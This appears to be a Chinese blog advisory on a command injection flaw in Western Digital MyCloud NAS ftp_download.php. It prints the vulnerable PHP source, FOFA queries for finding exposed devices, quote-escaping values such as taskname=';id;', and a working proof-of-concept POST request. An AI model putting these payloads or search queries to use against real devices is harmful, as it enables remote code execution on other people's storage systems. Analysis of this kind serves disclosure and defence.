西部数码 NAS ftp_download.php 命令执行漏洞


漏洞简介

Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS ftp_download.php中存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

影响版本

<=2.11.153(老版本,已发布修复补丁)

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "

漏洞分析

直接看 ftp_download.php 其业务实现逻辑如下

<?php
//session_start();
//$r = new stdClass();
//$r->success = false;
//
//include ("../lib/login_checker.php");
//
///* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
//if (login_check() == 0)
//{
//  echo json_encode($r);
//  exit;
//}

define('FTP_DOWNLOAD_CONF', '/var/www/xml/ftp_download.xml');

$action = $_POST['action'];
if ($action == "")
    $action = $_GET['action'];

function get_list()
{
    $r = new stdClass();
    $i = 0;
    if (file_exists(FTP_DOWNLOAD_CONF))
    {
       $xml = simplexml_load_file(FTP_DOWNLOAD_CONF);
       foreach ($xml->ftp_download->item as $item) {
          $pname = sprintf("/tmp/r_%s!_ftpdl", (string)$item->task_name);
          $bar_percent = "";
          $bar_running_sour = "";
          $bar_speed = "";
          if (file_exists($pname))
          {
             $_backup_info = file_get_contents($pname);
             $_backup_info_arr = explode("\n", $_backup_info);
             $bar_percent = $_backup_info_arr[0];
             if (count($_backup_info_arr) == 4)
             {              
                $bar_running_sour = $_backup_info_arr[1];
                $bar_speed = $_backup_info_arr[2];
             }
             else if (count($_backup_info_arr) == 3)
             {
                $bar_running_sour = $_backup_info_arr[1];
             }
             else
             {
                $bar_running_sour = "";
             }  
             //$bar_running_sour = rtrim($_backup_info_arr[1], "/");

             if ((string)$item->status == "0" && $bar_percent == "100") @unlink($pname);
          }
          if ((string)$item->status == "0") $bar_percent = "100";

          //Source dir
          $sour_list = array();
          foreach ($item->sour as $sitem)
             $sour_list[] = (string)$sitem;

          //Incremental List
          $incremental_list = array();
          if ((string)$item->backup_mode == "3") //Incremental mode
          {
             /*Get Backup list */
             $list_xml_file = sprintf("/tmp/r_%s!_ftpdl_imcremental.xml", (string)$item->task_name);
             $cmd = sprintf("ftp_download -a '%s' -o '%s' -c jobrs_list", (string)$item->task_name, $list_xml_file);
             pclose(popen($cmd, 'r'));

             if (file_exists($list_xml_file))
             {
                $list_xml = simplexml_load_file($list_xml_file);
                foreach ($list_xml->backup as $im_item)
                   $incremental_list[] = array((string)$im_item->task_name, (string)$im_item->time);
                @unlink($list_xml_file); 
             }
          }

          $r->rows[] = array(
             'id' => $i,
             'cell' => array(
                /* 0 */    (string)$item->task_name,
                /* 1 */    '',
                /* 2 */    $sour_list,
                /* 3 */    $percent_list,
                /* 4 */    (string)$item->dest,
                /* 5 */    (string)$item->status,
                /* 6 */    (string)$item->backup_direction,
                /* 7 */    (string)$item->backup_mode,
                /* 8 */    '', //Action: Start/Stop, Edit, Del, Detail
                /* 9 */(string)$item->finished_time,
                /* 10 */(string)$item->status,
                /* 11 */$bar_percent,
                /* 12 */$bar_running_sour,
                /* 13 */$incremental_list,
                /* 14 */(string)$item->update_routine,
                /* 15 */(string)$item->week_day,
                /* 16 */(string)$item->hour,
                /* 17 */(string)$item->host,
                /* 18 */(string)$item->host_user,
                /* 19 */(string)$item->host_passwd,
                /* 20 */(string)$item->lang,
                /* 21 */$bar_speed,
             )
          );
          $i++;
       } 
    }

    $r->page = 1;
    $r->total = $i;
    return $r;
}
function stop_job($taskname)
{
    //Stop job
    $cmd = sprintf("ftp_download -a '%s' -c jobstop >/dev/null 2>&1", $taskname);
    pclose(popen($cmd, 'r'));
    sleep(2);

    $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
    file_put_contents($pname, "-10"); //Cancel
}

$r = new stdClass();
switch ($action)
{
    case "create":
    {
       $taskname = $_POST['taskname'];       
       $source_dir = $_POST['source_dir'];
       $dest_dir = $_POST['dest_dir'];       
       $schedule = $_POST['schedule'];
       $schedule_type = $_POST['backup_sch_type'];
       $hour = $_POST['hour'];
       $week = $_POST['week'];
       $day = $_POST['day'];

       $host = $_POST['host'];
       $user = $_POST['user'];
       $pwd = $_POST['pwd'];
       $lang = $_POST['lang'];

       $sch_command = "";
       if ($schedule  == "0")$sch_command = "0,1,1";
       else if ($schedule_type  == "3")$sch_command = "3,1,".$hour; //daily
       else if ($schedule_type  == "2")$sch_command = "2,".$week.",".$hour; //weekly
       else if ($schedule_type  == "1")$sch_command = "1,".$day.",".$hour; //monthly

       $cmd = sprintf("ftp_download -a \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobadd",
                   $taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);

       foreach ($source_dir as $val)
          $cmd .= sprintf(" -s \"%s\"", $val);

               $cmd .= " >/dev/null 2>&1";
       system($cmd);
       //pclose(popen($cmd, 'r'));
       $pname = sprintf("/tmp/r_ftpdl!_%s", $taskname);
       @unlink($pname);

       stop_job($taskname);

       //Start job
       //$cmd = sprintf("(ftp_download -a '%s' -c jobrun >/dev/null 2>&1)&", $taskname);
       $cmd = sprintf("ftp_download -a '%s' -c jobrun > /dev/null 2>&1 &", $taskname);
                system($cmd);
//     pclose(popen($cmd, 'r'));
//     sleep(2);

       $r = get_list();
       $r->success = true;       
       echo json_encode($r);
    }
       break;

    case "modify":
    {
       $taskname = $_POST['taskname'];       
       $source_dir = $_POST['source_dir'];
       $dest_dir = $_POST['dest_dir'];
       //$backup_type = $_POST['backup_type'];
       $old_taskname = $_POST['old_taskname'];       

       $schedule = $_POST['schedule'];
       $schedule_type = $_POST['backup_sch_type'];
       $hour = $_POST['hour'];
       $week = $_POST['week'];
       $day = $_POST['day'];

       $host = $_POST['host'];
       $user = $_POST['user'];
       $pwd = $_POST['pwd'];
       $lang = $_POST['lang'];

       $sch_command = "";
       if ($schedule  == "0")$sch_command = "0,1,1";
       else if ($schedule_type  == "3")$sch_command = "3,1,".$hour; //daily
       else if ($schedule_type  == "2")$sch_command = "2,".$week.",".$hour; //weekly
       else if ($schedule_type  == "1")$sch_command = "1,".$day.",".$hour; //monthly

       stop_job($taskname);

       $cmd = sprintf("ftp_download -a \"%s\" -x \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobedit",
                   $taskname, $old_taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);

       foreach ($source_dir as $val)
          $cmd .= sprintf(" -s \"%s\"", $val);
            $cmd .= " >/dev/null 2>&1";
       system($cmd);  
       //pclose(popen($cmd, 'r'));

       //Start job
       //$cmdS = sprintf("ftp_download -a '%s' -c jobrun &", $taskname); 
       $cmdS = sprintf("ftp_download -a '%s' -c jobrun > /dev/null 2>&1 &", $taskname); 
            system($cmdS); 
       //pclose(popen($cmdS, 'r'));
       sleep(2);

       $r = get_list();
       $r->cmd = $cmd;
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "del":
    {
       $taskname = $_POST['taskname'];

       stop_job($taskname);

       $cmd = sprintf("ftp_download -a '%s' -c jobdel >/dev/null 2>&1", $taskname);
                system($cmd);
       //pclose(popen($cmd, 'r'));

       $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
       @unlink($pname);

       $r = get_list();
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "go_jobs":
    {
       $taskname = $_POST['taskname'];

       $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
       @unlink($pname);

       $cmd = sprintf("ftp_download -a '%s' -c jobrun &", $taskname);
       pclose(popen($cmd, 'r'));
       sleep(2);

       $r = get_list();
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "stop_jobs":
    {
       $taskname = $_POST['taskname'];

       stop_job($taskname);

       $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
       @unlink($pname);

       $r = get_list();
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "go_restore":
    {
       $taskname = $_POST['taskname'];

       stop_job($taskname);

       $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname);
       file_put_contents($pname, "0"); //Cancel

       $list_xml_file = sprintf("/tmp/r_ftpdl!_restore_imcremental_%s.xml", $taskname);
       $cmd = sprintf("ftp_download -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']);
       pclose(popen($cmd, 'r'));
       sleep(2);

       $r = get_list();      
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "get_list":
    {
       $r = get_list();
       $r->success = true;
       echo json_encode($r);
    }
       break;

}
?>

多个功能(如创建、修改、删除任务)接收来自用户的 POST 参数,未经过滤或转义便直接使用 sprintf 拼接成操作系统命令,并由 system() 或 pclose(popen()) 函数执行,导致攻击者可以注入任意系统命令并获得远程代码执行能力。

  • 用户可控点: 多个 case 分支中接收的 $_POST 参数,主要包括:
    • action=create: taskname, host, user, pwd, dest_dir 等
    • action=modify: taskname, old_taskname, host, user, pwd, dest_dir 等
    • action=del: taskname
    • action=go_restore: taskname, restore_source
  • 参数的赋值处理: 以 action=create 为例,用户可控的 $taskname 等变量被直接代入 sprintf 函数,用于构造命令字符串 $cmd。
$taskname = $_POST['taskname'];
// ... other $_POST variables
$cmd = sprintf("ftp_download -a \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobadd",
                $taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command);
  • 危险函数调用点: 拼接好的命令字符串 $cmd 被直接传递给 system() 函数执行。
system($cmd);

在其他分支中,也存在 pclose(popen($cmd, 'r')) 的调用,同样会执行命令。

  • 代码中虽然对部分参数使用了双引号(")或单引号(')进行包裹,但这并不能有效阻止命令注入。攻击者可以通过注入命令分隔符(如 ;, |, &&)来执行附加的恶意命令。
    • 双引号绕过: 当参数被 " 包裹时,可注入 ";<command>;"。例如,taskname 值为 mytask";id;"。
    • 单引号绕过: 当参数被 ' 包裹时,可注入 a' ; <command> ; '。例如,taskname 值为 mytask' ; id ; '。
    • 无引号: 在 go_restore 功能中,$_POST['restore_source'] 参数未被任何引号包裹,可以直接注入命令。
  • 总结: 无任何有效的输入过滤或转义机制,引号保护措施可被轻松绕过。

action = "del" 分支 (单引号包裹,同样可注入):

case "del":
{
    $taskname = $_POST['taskname'];
    // ...
    $cmd = sprintf("ftp_download -a '%s' -c jobdel >/dev/null 2>&1", $taskname);
    system($cmd); // <-- 危险函数执行
    // ...
}

漏洞复现

POST /web/addons/ftp_download.php HTTP/1.1
Host: west.nas.mrxn.net
Content-Type: application/x-www-form-urlencoded

action=create&taskname=";id;"&host=127.0.0.1&user=test&pwd=test&dest_dir=/tmp&schedule=0&lang=en

成功执行id命令并在响应里回显


手机扫码阅读

用友NC importCombo XML实体注入(XXE)漏洞

金和OA Jhsoft.Web.Accept/XmlHttp.aspx XXE漏洞+SQL注入漏洞

评 论